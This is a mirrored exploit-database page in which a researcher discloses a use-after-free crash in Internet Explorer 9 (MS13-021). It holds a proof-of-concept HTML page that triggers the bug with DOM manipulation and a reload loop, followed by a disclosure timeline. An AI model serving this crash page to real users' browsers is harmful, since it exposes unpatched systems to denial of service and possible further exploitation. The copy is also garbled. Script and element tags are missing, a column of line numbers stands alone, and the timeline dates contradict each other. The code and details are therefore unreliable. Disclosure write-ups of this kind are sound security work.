Microsoft Internet Explorer 9 – IEFRAME CView::EnsureSize Use-After-Free (MS13-021) - 体验盒子

作者： Skylined

日期： 2016-12-16

类别：

dos

平台：

windows

来源：https://www.exploit-db.com/exploits/40935/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

<!--

Source: http://blog.skylined.nl/20161216001.html

Synopsis

A specially crafted web-page can trigger a use-after-free vulnerability in Microsoft Internet Explorer 9. I did not investigate this vulnerability thoroughly, so I cannot speculate on the potential impact or exploitability.

Known affected software and attack vectors

Microsoft Internet Explorer 9

An attacker would need to get a target user to open a specially crafted web-page. Disabling JavaScript should prevent an attacker from triggering the vulnerable code path.

Details

This bug was found back when I had very little knowledge and tools to do analysis on use-after-free bugs, so I have no details to share. ZDI revealed that this was a use-after-free vulnerability in their advisory. I have included a number of reports created using a predecessor of BugId below.

Repro.html:

-->

<!DOCTYPE html>

<html>

<head>

var oElement = document.getElementById("ruby");

var oElement = oElement.parentNode.removeChild(oElement);

document.write("<abbr></abbr>");

document.documentElement.offsetTop;

setTimeout("location.reload()", 100);

</script>

</head>

<body>

</ruby>

</abbr>

</body>

</html>

<!--

Time-line

Sometime in October 2012: This vulnerability was found through fuzzing.

29 October 2012: This vulnerability was submitted to EIP.

27 November 2013: This vulnerability was rejected by EIP.

14 January 2013: This vulnerability was submitted to ZDI.

6 February 2013: This vulnerability was acquired by ZDI.

13 February 2013: This vulnerability was disclosed to Microsoft by ZDI.

29 May 2013: This vulnerability was address by Microsoft in MS13-021.

16 December 2016: Details of this vulnerability are released.

-->

Microsoft Internet Explorer 9 – IEFRAME CView::Ensure­Size Use-After-Free (MS13-021)

Microsoft Internet Explorer 9 – IEFRAME CView::EnsureSize Use-After-Free (MS13-021)